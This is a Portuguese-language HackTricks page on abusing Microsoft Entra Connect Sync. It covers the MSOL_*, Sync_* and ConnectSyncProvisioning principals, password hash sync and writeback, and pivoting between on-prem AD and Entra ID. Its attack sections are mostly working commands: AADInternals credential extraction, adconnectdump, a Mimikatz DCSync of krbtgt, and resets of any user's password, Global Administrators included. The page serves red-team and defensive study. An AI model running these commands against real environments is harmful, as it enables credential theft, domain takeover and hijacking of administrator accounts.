Az - Connect Sync

Reading time: 11 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Informações básicas

From the docs: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) é um componente principal do Microsoft Entra Connect. Ele cuida de todas as operações relacionadas à sincronização de dados de identidade entre seu ambiente on-premises e o Microsoft Entra ID.

O serviço de sync consiste em dois componentes, o componente on-premises Microsoft Entra Connect Sync e o lado do serviço no Microsoft Entra ID chamado Microsoft Entra Connect Sync service.

Para usá-lo, é necessário instalar o agente Microsoft Entra Connect Sync em um servidor dentro do seu ambiente AD. Este agente será o responsável pela sincronização a partir do lado do AD.

O Connect Sync é basicamente a maneira "antiga" da Azure para sincronizar usuários do AD para o Entra ID. A nova forma recomendada é usar Entra Cloud Sync:

Az - Cloud Sync

Principais Principais Gerados

  • A conta MSOL_<installationID> é criada automaticamente no AD on-prem. Esta conta recebe a role Directory Synchronization Accounts (veja a documentação) o que significa que ela tem permissões de replicação (DCSync) no AD on-prem.
  • Isso significa que qualquer pessoa que comprometer esta conta poderá comprometer o domínio on-premise.
  • Uma managed service account ADSyncMSA<id> é criada no AD on-prem sem privilégios padrão especiais.
  • No Entra ID o Service Principal ConnectSyncProvisioning_ConnectSync_<id> é criado com um certificado.

Sincronizar senhas

Password Hash Synchronization

Este componente também pode ser usado para sincronizar senhas do AD para o Entra ID para que os usuários possam usar suas senhas do AD para se conectar ao Entra ID. Para isso, é necessário habilitar a password hash synchronization no agente Microsoft Entra Connect Sync instalado em um servidor AD.

From the docs: Password hash synchronization é um dos métodos de sign-in usados para realizar identidade híbrida. Azure AD Connect sincroniza um hash, do hash, da senha de um usuário de uma instância on-premises do Active Directory para uma instância baseada em nuvem do Azure AD.

Basicamente, todos os usuários e um hash dos hashes de senha são sincronizados do on-prem para o Azure AD. Entretanto, senhas em texto claro ou os hashes originais não são enviados para o Azure AD.

A sincronização dos hashes ocorre a cada 2 minutos. No entanto, por padrão, expiração de senha e expiração de conta não são sincronizadas no Azure AD. Então, um usuário cuja senha on-prem expirou (não foi alterada) pode continuar a acessar recursos do Azure usando a senha antiga.

Quando um usuário on-prem deseja acessar um recurso do Azure, a autenticação ocorre no Azure AD.

note

Por padrão, usuários de grupos privilegiados conhecidos como Domain Admins com o atributo adminCount para 1 não são sincronizados com o Entra ID por razões de segurança. Entretanto, outros usuários que fazem parte de grupos privilegiados sem este atributo ou que receberam altos privilégios diretamente podem ser sincronizados.

Password Writeback

Esta configuração permite sincronizar senhas do Entra ID para o AD quando um usuário altera sua senha no Entra ID. Note que para o password writeback funcionar o usuário MSOL_<id> gerado automaticamente no AD precisa receber mais privilégios conforme indicado na documentação para que ele possa modificar as senhas de qualquer usuário no AD.

Isto é especialmente interessante para comprometer o AD a partir de um Entra ID comprometido, pois você poderá modificar a senha de "quase" qualquer usuário.

Domain admins e outros usuários pertencentes a alguns grupos privilegiados não são replicados se o grupo tiver o atributo adminCount para 1. Mas outros usuários que receberam altos privilégios dentro do AD sem pertencer a qualquer um desses grupos podem ter sua senha alterada. Por exemplo:

  • Usuários com privilégios elevados atribuídos diretamente.
  • Usuários do grupo DNSAdmins.
  • Usuários do grupo Group Policy Creator Owners que criaram GPOs e os atribuíram a OUs poderão modificar os GPOs que criaram.
  • Usuários do Cert Publishers Group que podem publicar certificados no Active Directory.
  • Usuários de qualquer outro grupo com altos privilégios sem o atributo adminCount para 1.

Pivotando AD --> Entra ID

Enumerando Connect Sync

Verificar usuários:

bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()

Verifique a Connect Sync configuração (se houver):

bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...

Finding the passwords

As senhas do MSOL_* user (e do usuário Sync_* se criado) são stored in a SQL server no servidor onde Entra ID Connect is installed. Administradores podem extrair as senhas desses usuários privilegiados em clear-text.
O banco de dados está localizado em C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

É possível extrair a configuração de uma das tabelas, sendo uma delas criptografada:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

A encrypted configuration está criptografada com DPAPI e contém as passwords of the MSOL_* user no on-prem AD e a password do Sync_* no AzureAD. Portanto, comprometendo essas credenciais é possível privesc para o AD e para o AzureAD.

Você pode encontrar uma full overview of how these credentials are stored and decrypted in this talk.

Abusando de MSOL_*

bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

warning

Ataques anteriores comprometeram a outra senha para então se conectar ao usuário Entra ID chamado Sync_* e depois comprometer o Entra ID. No entanto, esse usuário não existe mais.

Abusar ConnectSyncProvisioning_ConnectSync_

Esta aplicação é criada sem ter quaisquer funções de gerenciamento do Entra ID ou Azure atribuídas. No entanto, ela tem as seguintes permissões de API:

  • Microsoft Entra AD Synchronization Service
  • ADSynchronization.ReadWrite.All
  • Microsoft password reset service
  • PasswordWriteback.OffboardClient.All
  • PasswordWriteback.RefreshClient.All
  • PasswordWriteback.RegisterClientVersion.All

Menciona-se que o SP desta aplicação ainda pode ser usado para executar algumas ações privilegiadas usando uma API não documentada, mas nenhum PoC foi encontrado até onde sei.
De qualquer forma, considerando que isso pode ser possível, seria interessante explorar mais como encontrar o certificado para efetuar login como este service principal e tentar abusar dele.

Este blog post, publicado logo depois da troca do uso do usuário Sync_* para este service principal, explicou que o certificado era armazenado dentro do servidor e que era possível encontrá-lo, gerar um PoP (Proof of Possession) dele e graph token, e com isso, conseguir adicionar um novo certificado ao service principal (porque um service principal pode sempre atribuir a si mesmo novos certificados) e então usá-lo para manter persistência como o SP.

Para realizar essas ações, as seguintes ferramentas foram publicadas: SharpECUtils.

De acordo com this question, para encontrar o certificado, você deve executar a ferramenta a partir de um processo que tenha roubado o token do processo miiserver.

Abusar Sync_* [DEPRECATED]

warning

Anteriormente, um usuário chamado Sync_* era criado no Entra ID com permissões muito sensíveis atribuídas, o que permitia executar ações privilegiadas como modificar a senha de qualquer usuário ou adicionar uma nova credencial a um service principal. No entanto, desde Jan2025 esse usuário não é mais criado por padrão, pois agora a Application/SP ConnectSyncProvisioning_ConnectSync_<id> é usada. Ainda assim, ele pode estar presente em alguns ambientes, então vale a pena verificá-lo.

Comprometendo a Sync_* account é possível resetar a senha de qualquer usuário (incluindo Global Administrators)

bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Também é possível modificar apenas as senhas dos usuários cloud (mesmo que isso seja inesperado)

bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Também é possível fazer o dump da senha deste usuário.

caution

Outra opção seria atribuir permissões privilegiadas a um service principal, que o usuário Sync tem permissões para fazer, e então acessar esse service principal como forma de privesc.

Seamless SSO

É possível usar Seamless SSO com PHS, que é vulnerável a outros abusos. Confira em:

Az - Seamless SSO

Pivoting Entra ID --> AD

  • If password writeback is enabled, you can modify the password of any user in the AD that is synchronized with Entra ID.
  • If groups writeback is enabled, you can add users to privileged groups in Entra ID that are synchronized with the AD.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks